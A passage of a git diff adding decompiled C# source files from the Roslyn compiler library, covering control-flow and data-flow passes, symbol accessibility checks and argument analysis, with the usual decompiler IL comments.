State); + } + SetState(self); + return node; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractRegionControlFlowPass.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractRegionControlFlowPass.cs new file mode 100644 index 0000000..e347fe2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractRegionControlFlowPass.cs @@ -0,0 +1,39 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class AbstractRegionControlFlowPass : ControlFlowPass +{ + internal AbstractRegionControlFlowPass(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + : base(compilation, member, node, firstInRegion, lastInRegion) + { + } + + public override BoundNode Visit(BoundNode node) + { + VisitAlways(node); + return null; + } + + public override BoundNode VisitLambda(BoundLambda node) + { + SavedPending oldPending = SavePending(); + LocalState self = State; + State = TopState(); + SavedPending oldPending2 = SavePending(); + VisitAlways(node.Body); + RestorePending(oldPending2); + ImmutableArray immutableArray = RemoveReturns(); + RestorePending(oldPending); + Join(ref self, ref State); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + PendingBranch current = enumerator.Current; + State = current.State; + Join(ref self, ref State); + } + State = self; + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractRegionDataFlowPass.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractRegionDataFlowPass.cs new file mode 100644 index 0000000..ea284a2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractRegionDataFlowPass.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class AbstractRegionDataFlowPass : DefiniteAssignmentPass +{ + internal AbstractRegionDataFlowPass(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, HashSet initiallyAssignedVariables = null, HashSet unassignedVariableAddressOfSyntaxes = null, bool trackUnassignments = false) + : base(compilation, member, node, firstInRegion, lastInRegion, initiallyAssignedVariables, unassignedVariableAddressOfSyntaxes, trackUnassignments) + { + } + + protected override ImmutableArray Scan(ref bool badRegion) + { + MakeSlots(base.MethodParameters); + if ((object)base.MethodThisParameter != null) + { + GetOrCreateSlot(base.MethodThisParameter); + } + return base.Scan(ref badRegion); + } + + public override BoundNode VisitLambda(BoundLambda node) + { + MakeSlots(node.Symbol.Parameters); + return base.VisitLambda(node); + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + MakeSlots(node.Symbol.Parameters); + return base.VisitLocalFunctionStatement(node); + } + + public override BoundNode VisitNameOfOperator(BoundNameOfOperator node) + { + return node; + } + + private void MakeSlots(ImmutableArray parameters) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + GetOrCreateSlot(current); + } + } + + protected override void AfterVisitInlineArrayAccess(BoundInlineArrayAccess node) + { + } + + protected override void AfterVisitConversion(BoundConversion node) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AccessCheck.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AccessCheck.cs new file mode 100644 index 0000000..ff4f179 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AccessCheck.cs @@ -0,0 +1,452 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class AccessCheck +{ + public static bool IsSymbolAccessible(Symbol symbol, AssemblySymbol within, ref CompoundUseSiteInfo useSiteInfo) + { + bool failedThroughTypeCheck; + return IsSymbolAccessibleCore(symbol, within, null, out failedThroughTypeCheck, within.DeclaringCompilation, ref useSiteInfo); + } + + public static bool IsSymbolAccessible(Symbol symbol, NamedTypeSymbol within, ref CompoundUseSiteInfo useSiteInfo, TypeSymbol throughTypeOpt = null) + { + bool failedThroughTypeCheck; + return IsSymbolAccessibleCore(symbol, within, throughTypeOpt, out failedThroughTypeCheck, within.DeclaringCompilation, ref useSiteInfo); + } + + public static bool IsSymbolAccessible(Symbol symbol, NamedTypeSymbol within, TypeSymbol throughTypeOpt, out bool failedThroughTypeCheck, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + return IsSymbolAccessibleCore(symbol, within, throughTypeOpt, out failedThroughTypeCheck, within.DeclaringCompilation, ref useSiteInfo, basesBeingResolved); + } + + internal static bool IsEffectivelyPublicOrInternal(Symbol symbol, out bool isInternal) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected I4, but got Unknown + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected I4, but got Unknown + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = symbol.Kind; + switch (kind - 5) + { + default: + if ((int)kind == 15) + { + break; + } + if ((int)kind == 17) + { + symbol = symbol.ContainingSymbol; + break; + } + goto case 2; + case 2: + case 3: + case 5: + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + case 0: + case 1: + case 4: + case 6: + break; + } + isInternal = false; + do + { + Accessibility declaredAccessibility = symbol.DeclaredAccessibility; + switch (declaredAccessibility - 1) + { + case 1: + case 3: + isInternal = true; + break; + case 0: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)symbol.DeclaredAccessibility); + case 2: + case 4: + case 5: + break; + } + symbol = symbol.ContainingType; + } + while ((object)symbol != null); + return true; + } + + private static bool IsSymbolAccessibleCore(Symbol symbol, Symbol within, TypeSymbol throughTypeOpt, out bool failedThroughTypeCheck, CSharpCompilation compilation, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Expected I4, but got Unknown + //IL_0156: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Invalid comparison between Unknown and I4 + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + failedThroughTypeCheck = false; + SymbolKind kind = symbol.Kind; + switch ((int)kind) + { + case 1: + return IsSymbolAccessibleCore(((ArrayTypeSymbol)symbol).ElementType, within, null, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved); + case 14: + return IsSymbolAccessibleCore(((PointerTypeSymbol)symbol).PointedAtType, within, null, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved); + case 11: + return IsNamedTypeAccessible((NamedTypeSymbol)symbol, within, ref useSiteInfo, basesBeingResolved); + case 0: + return IsSymbolAccessibleCore(((AliasSymbol)symbol).Target, within, null, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved); + case 19: + return IsSymbolAccessibleCore(((DiscardSymbol)symbol).TypeWithAnnotations.Type, within, null, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved); + case 20: + { + FunctionPointerTypeSymbol functionPointerTypeSymbol = (FunctionPointerTypeSymbol)symbol; + if (!IsSymbolAccessibleCore(functionPointerTypeSymbol.Signature.ReturnType, within, null, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved)) + { + return false; + } + ImmutableArray.Enumerator enumerator = functionPointerTypeSymbol.Signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!IsSymbolAccessibleCore(enumerator.Current.Type, within, null, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved)) + { + return false; + } + } + return true; + } + case 4: + return true; + case 9: + if ((int)((MethodSymbol)symbol).MethodKind == 17) + { + goto case 2; + } + goto case 5; + case 2: + case 3: + case 7: + case 8: + case 10: + case 12: + case 13: + case 16: + case 17: + return true; + case 5: + case 6: + case 15: + if (!symbol.RequiresInstanceReceiver()) + { + throughTypeOpt = null; + } + return IsMemberAccessible(symbol.ContainingType, symbol.DeclaredAccessibility, within, throughTypeOpt, out failedThroughTypeCheck, compilation, ref useSiteInfo); + default: + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + } + + private static bool IsNamedTypeAccessible(NamedTypeSymbol type, Symbol within, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Invalid comparison between Unknown and I4 + CSharpCompilation declaringCompilation = within.DeclaringCompilation; + bool failedThroughTypeCheck; + if (!type.IsDefinition) + { + ImmutableArray.Enumerator enumerator = type.TypeArgumentsWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + if ((int)current.Type.Kind != 17 && !IsSymbolAccessibleCore(current.Type, within, null, out failedThroughTypeCheck, declaringCompilation, ref useSiteInfo, basesBeingResolved)) + { + return false; + } + } + } + NamedTypeSymbol containingType = type.ContainingType; + if ((object)containingType != null) + { + return IsMemberAccessible(containingType, type.DeclaredAccessibility, within, null, out failedThroughTypeCheck, declaringCompilation, ref useSiteInfo, basesBeingResolved); + } + return IsNonNestedTypeAccessible(type.ContainingAssembly, type.DeclaredAccessibility, within); + } + + private static bool IsNonNestedTypeAccessible(AssemblySymbol assembly, Accessibility declaredAccessibility, Symbol within) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Expected I4, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + switch ((int)declaredAccessibility) + { + case 0: + case 6: + return true; + case 1: + case 2: + case 3: + return false; + case 4: + case 5: + { + AssemblySymbol assemblySymbol = ((within is NamedTypeSymbol namedTypeSymbol) ? namedTypeSymbol.ContainingAssembly : ((AssemblySymbol)within)); + if ((object)assemblySymbol != assembly) + { + return assemblySymbol.HasInternalAccessTo(assembly); + } + return true; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)declaredAccessibility); + } + } + + private static bool IsMemberAccessible(NamedTypeSymbol containingType, Accessibility declaredAccessibility, Symbol within, TypeSymbol throughTypeOpt, out bool failedThroughTypeCheck, CSharpCompilation compilation, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + failedThroughTypeCheck = false; + if ((object)containingType == within) + { + return true; + } + if (!IsNamedTypeAccessible(containingType, within, ref useSiteInfo, basesBeingResolved)) + { + return false; + } + if ((int)declaredAccessibility == 6) + { + return true; + } + return IsNonPublicMemberAccessible(containingType, declaredAccessibility, within, throughTypeOpt, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved); + } + + private static bool IsNonPublicMemberAccessible(NamedTypeSymbol containingType, Accessibility declaredAccessibility, Symbol within, TypeSymbol throughTypeOpt, out bool failedThroughTypeCheck, CSharpCompilation compilation, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Expected I4, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Invalid comparison between Unknown and I4 + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + failedThroughTypeCheck = false; + NamedTypeSymbol originalDefinition = containingType.OriginalDefinition; + NamedTypeSymbol namedTypeSymbol = within as NamedTypeSymbol; + AssemblySymbol fromAssembly = (((object)namedTypeSymbol != null) ? namedTypeSymbol.ContainingAssembly : ((AssemblySymbol)within)); + switch ((int)declaredAccessibility) + { + case 0: + return true; + case 1: + if ((int)containingType.TypeKind == 12) + { + return true; + } + if ((object)namedTypeSymbol != null) + { + return IsPrivateSymbolAccessible(namedTypeSymbol, originalDefinition); + } + return false; + case 4: + return fromAssembly.HasInternalAccessTo(containingType.ContainingAssembly); + case 2: + if (!fromAssembly.HasInternalAccessTo(containingType.ContainingAssembly)) + { + return false; + } + return IsProtectedSymbolAccessible(namedTypeSymbol, throughTypeOpt, originalDefinition, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved); + case 5: + if (fromAssembly.HasInternalAccessTo(containingType.ContainingAssembly)) + { + return true; + } + return IsProtectedSymbolAccessible(namedTypeSymbol, throughTypeOpt, originalDefinition, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved); + case 3: + return IsProtectedSymbolAccessible(namedTypeSymbol, throughTypeOpt, originalDefinition, out failedThroughTypeCheck, compilation, ref useSiteInfo, basesBeingResolved); + default: + throw ExceptionUtilities.UnexpectedValue((object)declaredAccessibility); + } + } + + private static bool IsProtectedSymbolAccessible(NamedTypeSymbol withinType, TypeSymbol throughTypeOpt, NamedTypeSymbol originalContainingType, out bool failedThroughTypeCheck, CSharpCompilation compilation, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + failedThroughTypeCheck = false; + if ((int)originalContainingType.TypeKind == 12) + { + return true; + } + if ((object)withinType == null) + { + return false; + } + if (IsNestedWithinOriginalContainingType(withinType, originalContainingType)) + { + return true; + } + NamedTypeSymbol namedTypeSymbol = withinType.OriginalDefinition; + TypeSymbol typeSymbol = throughTypeOpt?.OriginalDefinition; + while ((object)namedTypeSymbol != null) + { + if (namedTypeSymbol.InheritsFromOrImplementsIgnoringConstruction(originalContainingType, compilation, ref useSiteInfo, basesBeingResolved)) + { + if ((object)typeSymbol == null || typeSymbol.InheritsFromOrImplementsIgnoringConstruction(namedTypeSymbol, compilation, ref useSiteInfo)) + { + return true; + } + failedThroughTypeCheck = true; + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + return false; + } + + private static bool IsPrivateSymbolAccessible(Symbol within, NamedTypeSymbol originalContainingType) + { + if (!(within is NamedTypeSymbol withinType)) + { + return false; + } + return IsNestedWithinOriginalContainingType(withinType, originalContainingType); + } + + private static bool IsNestedWithinOriginalContainingType(NamedTypeSymbol withinType, NamedTypeSymbol originalContainingType) + { + NamedTypeSymbol namedTypeSymbol = withinType.OriginalDefinition; + while ((object)namedTypeSymbol != null) + { + if ((object)namedTypeSymbol == originalContainingType) + { + return true; + } + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + return false; + } + + private static bool InheritsFromOrImplementsIgnoringConstruction(this TypeSymbol type, NamedTypeSymbol baseType, CSharpCompilation compilation, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + PooledHashSet val = null; + ArrayBuilder val2 = null; + bool isInterface = baseType.IsInterface; + if (isInterface) + { + val = PooledHashSet.GetInstance(); + val2 = ArrayBuilder.GetInstance(); + } + PooledHashSet visited = null; + TypeSymbol typeSymbol = type; + bool flag = false; + while ((object)typeSymbol != null) + { + if (isInterface == typeSymbol.IsInterfaceType() && (object)typeSymbol == baseType) + { + flag = true; + break; + } + if (isInterface) + { + getBaseInterfaces(typeSymbol, val2, val, basesBeingResolved); + } + TypeSymbol nextBaseTypeNoUseSiteDiagnostics = typeSymbol.GetNextBaseTypeNoUseSiteDiagnostics(basesBeingResolved, compilation, ref visited); + if ((object)nextBaseTypeNoUseSiteDiagnostics == null) + { + typeSymbol = null; + continue; + } + typeSymbol = nextBaseTypeNoUseSiteDiagnostics.OriginalDefinition; + typeSymbol.AddUseSiteInfo(ref useSiteInfo); + } + visited?.Free(); + if (!flag && isInterface) + { + while (val2.Count != 0) + { + NamedTypeSymbol namedTypeSymbol = ArrayBuilderExtensions.Pop(val2); + if (namedTypeSymbol.IsInterface) + { + if ((object)namedTypeSymbol == baseType) + { + flag = true; + break; + } + getBaseInterfaces(namedTypeSymbol, val2, val, basesBeingResolved); + } + } + if (!flag) + { + foreach (NamedTypeSymbol item in (HashSet)(object)val) + { + item.AddUseSiteInfo(ref useSiteInfo); + } + } + } + val?.Free(); + val2?.Free(); + return flag; + static void getBaseInterfaces(TypeSymbol derived, ArrayBuilder baseInterfaces, PooledHashSet interfacesLookedAt, ConsList val3) + { + if (val3 == null || !ConsListExtensions.ContainsReference(val3, derived)) + { + ImmutableArray.Enumerator enumerator2 = ((derived is TypeParameterSymbol typeParameterSymbol) ? typeParameterSymbol.AllEffectiveInterfacesNoUseSiteDiagnostics : ((!(derived is NamedTypeSymbol namedTypeSymbol2)) ? derived.InterfacesNoUseSiteDiagnostics(val3) : namedTypeSymbol2.GetDeclaredInterfaces(val3))).GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol originalDefinition = enumerator2.Current.OriginalDefinition; + if (((HashSet)(object)interfacesLookedAt).Add(originalDefinition)) + { + baseInterfaces.Add(originalDefinition); + } + } + } + } + } + + internal static bool HasInternalAccessTo(this AssemblySymbol fromAssembly, AssemblySymbol toAssembly) + { + if (object.Equals(fromAssembly, toAssembly)) + { + return true; + } + if (fromAssembly.AreInternalsVisibleToThisAssembly(toAssembly)) + { + return true; + } + if (fromAssembly.IsInteractive && toAssembly.IsInteractive) + { + return true; + } + return false; + } + + internal static ErrorCode GetProtectedMemberInSealedTypeError(NamedTypeSymbol containingType) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)containingType.TypeKind != 10) + { + return ErrorCode.WRN_ProtectedInSealed; + } + return ErrorCode.ERR_ProtectedInStruct; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AliasAndExternAliasDirective.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AliasAndExternAliasDirective.cs new file mode 100644 index 0000000..72018be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AliasAndExternAliasDirective.cs @@ -0,0 +1,23 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct AliasAndExternAliasDirective(AliasSymbol alias, ExternAliasDirectiveSyntax? externAliasDirective, bool skipInLookup) +{ + public readonly AliasSymbol Alias = alias; + + public readonly SyntaxReference? ExternAliasDirectiveReference = externAliasDirective?.GetReference(); + + public readonly bool SkipInLookup = skipInLookup; + + public ExternAliasDirectiveSyntax? ExternAliasDirective + { + get + { + SyntaxReference? externAliasDirectiveReference = ExternAliasDirectiveReference; + return (ExternAliasDirectiveSyntax)(object)((externAliasDirectiveReference != null) ? externAliasDirectiveReference.GetSyntax(default(CancellationToken)) : null); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AliasAndUsingDirective.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AliasAndUsingDirective.cs new file mode 100644 index 0000000..2159c2f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AliasAndUsingDirective.cs @@ -0,0 +1,21 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct AliasAndUsingDirective(AliasSymbol alias, UsingDirectiveSyntax? usingDirective) +{ + public readonly AliasSymbol Alias = alias; + + public readonly SyntaxReference? UsingDirectiveReference = usingDirective?.GetReference(); + + public UsingDirectiveSyntax? UsingDirective + { + get + { + SyntaxReference? usingDirectiveReference = UsingDirectiveReference; + return (UsingDirectiveSyntax)(object)((usingDirectiveReference != null) ? usingDirectiveReference.GetSyntax(default(CancellationToken)) : null); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AlwaysAssignedWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AlwaysAssignedWalker.cs new file mode 100644 index 0000000..6d2e719 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AlwaysAssignedWalker.cs @@ -0,0 +1,138 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class AlwaysAssignedWalker : AbstractRegionDataFlowPass +{ + private LocalState _endOfRegionState; + + private readonly HashSet _labelsInside = new HashSet(); + + private AlwaysAssignedWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + : base(compilation, member, node, firstInRegion, lastInRegion) + { + } + + internal static IEnumerable Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + { + AlwaysAssignedWalker alwaysAssignedWalker = new AlwaysAssignedWalker(compilation, member, node, firstInRegion, lastInRegion); + bool badRegion = false; + try + { + List list = alwaysAssignedWalker.Analyze(ref badRegion); + IEnumerable result; + if (!badRegion) + { + IEnumerable enumerable = list; + result = enumerable; + } + else + { + result = SpecializedCollections.EmptyEnumerable(); + } + return result; + } + finally + { + alwaysAssignedWalker.Free(); + } + } + + private List Analyze(ref bool badRegion) + { + Analyze(ref badRegion, null); + List list = new List(); + if (_endOfRegionState.Reachable) + { + foreach (int item in ((BitVector)(ref _endOfRegionState.Assigned)).TrueBits()) + { + if (item < variableBySlot.Count) + { + LocalDataFlowPass.VariableIdentifier variableIdentifier = variableBySlot[item]; + if (variableIdentifier.Exists && !(variableIdentifier.Symbol is FieldSymbol)) + { + list.Add(variableIdentifier.Symbol); + } + } + } + } + return list; + } + + protected override void WriteArgument(BoundExpression arg, RefKind refKind, MethodSymbol method) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + if ((int)refKind == 2) + { + Assign(arg, null); + } + } + + protected override void ResolveBranch(PendingBranch pending, LabelSymbol label, BoundStatement target, ref bool labelStateChanged) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if (base.IsInside && pending.Branch != null && !RegionContains(pending.Branch.Syntax.Span)) + { + pending.State = (pending.State.Reachable ? TopState() : UnreachableState()); + } + base.ResolveBranch(pending, label, target, ref labelStateChanged); + } + + public override BoundNode VisitLabel(BoundLabel node) + { + ResolveLabel(node, node.Label); + return base.VisitLabel(node); + } + + public override BoundNode VisitLabeledStatement(BoundLabeledStatement node) + { + ResolveLabel(node, node.Label); + return base.VisitLabeledStatement(node); + } + + private void ResolveLabel(BoundNode node, LabelSymbol label) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + if (node.Syntax != null && RegionContains(node.Syntax.Span)) + { + _labelsInside.Add(label); + } + } + + protected override LocalState TopState() + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return new LocalState(BitVector.Empty); + } + + protected override void EnterRegion() + { + State = TopState(); + base.EnterRegion(); + } + + protected override void LeaveRegion() + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (IsConditionalState) + { + _endOfRegionState = StateWhenTrue.Clone(); + Join(ref _endOfRegionState, ref StateWhenFalse); + } + else + { + _endOfRegionState = State.Clone(); + } + foreach (AbstractFlowPass.PendingBranch item in base.PendingBranches.AsEnumerable()) + { + if (item.Branch != null && RegionContains(item.Branch.Syntax.Span) && !_labelsInside.Contains(item.Label)) + { + Join(ref _endOfRegionState, ref item.State); + } + } + base.LeaveRegion(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AnalyzedArguments.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AnalyzedArguments.cs new file mode 100644 index 0000000..c8c7c42 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AnalyzedArguments.cs @@ -0,0 +1,184 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class AnalyzedArguments +{ + public readonly ArrayBuilder Arguments; + + public readonly ArrayBuilder<(string Name, Location Location)?> Names; + + public readonly ArrayBuilder RefKinds; + + public bool IsExtensionMethodInvocation; + + private ThreeState _lazyHasDynamicArgument; + + public static readonly ObjectPool Pool = CreatePool(); + + public bool HasDynamicArgument + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + if (ThreeStateHelpers.HasValue(_lazyHasDynamicArgument)) + { + return ThreeStateHelpers.Value(_lazyHasDynamicArgument); + } + bool flag = RefKinds.Count > 0; + for (int i = 0; i < Arguments.Count; i++) + { + BoundExpression boundExpression = Arguments[i]; + if ((object)boundExpression.Type != null && boundExpression.Type.IsDynamic() && (!flag || (int)RefKinds[i] == 0)) + { + _lazyHasDynamicArgument = (ThreeState)2; + return true; + } + } + _lazyHasDynamicArgument = (ThreeState)1; + return false; + } + } + + public bool HasErrors + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.HasAnyErrors) + { + return true; + } + } + return false; + } + } + + internal AnalyzedArguments() + { + Arguments = new ArrayBuilder(32); + Names = new ArrayBuilder<(string, Location)?>(32); + RefKinds = new ArrayBuilder(32); + } + + public void Clear() + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + Arguments.Clear(); + Names.Clear(); + RefKinds.Clear(); + IsExtensionMethodInvocation = false; + _lazyHasDynamicArgument = (ThreeState)0; + } + + public BoundExpression Argument(int i) + { + return Arguments[i]; + } + + public void AddName(IdentifierNameSyntax name) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder<(string Name, Location Location)?> names = Names; + SyntaxToken identifier = name.Identifier; + names.Add(((string, Location)?)(((SyntaxToken)(ref identifier)).ValueText, ((SyntaxNode)name).Location)); + } + + public string? Name(int i) + { + if (Names.Count == 0) + { + return null; + } + return Names[i]?.Item1; + } + + public ImmutableArray GetNames() + { + if (Names.Count == 0) + { + return default(ImmutableArray); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(Names.Count); + for (int i = 0; i < Names.Count; i++) + { + instance.Add(Name(i)); + } + return instance.ToImmutableAndFree(); + } + + public RefKind RefKind(int i) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (RefKinds.Count <= 0) + { + return (RefKind)0; + } + return RefKinds[i]; + } + + public bool IsExtensionMethodThisArgument(int i) + { + if (i == 0) + { + return IsExtensionMethodInvocation; + } + return false; + } + + public static AnalyzedArguments GetInstance() + { + return Pool.Allocate(); + } + + public static AnalyzedArguments GetInstance(AnalyzedArguments original) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + AnalyzedArguments instance = GetInstance(); + instance.Arguments.AddRange(original.Arguments); + instance.Names.AddRange(original.Names); + instance.RefKinds.AddRange(original.RefKinds); + instance.IsExtensionMethodInvocation = original.IsExtensionMethodInvocation; + instance._lazyHasDynamicArgument = original._lazyHasDynamicArgument; + return instance; + } + + public static AnalyzedArguments GetInstance(ImmutableArray arguments, ImmutableArray argumentRefKindsOpt, ImmutableArray<(string, Location)?> argumentNamesOpt) + { + AnalyzedArguments instance = GetInstance(); + instance.Arguments.AddRange(arguments); + if (!argumentRefKindsOpt.IsDefault) + { + instance.RefKinds.AddRange(argumentRefKindsOpt); + } + if (!argumentNamesOpt.IsDefault) + { + instance.Names.AddRange(argumentNamesOpt); + } + return instance; + } + + public void Free() + { + Clear(); + Pool.Free(this); + } + + private static ObjectPool CreatePool() + { + return new ObjectPool((Factory)(() => new AnalyzedArguments()), 10, true); + } +} diff --git 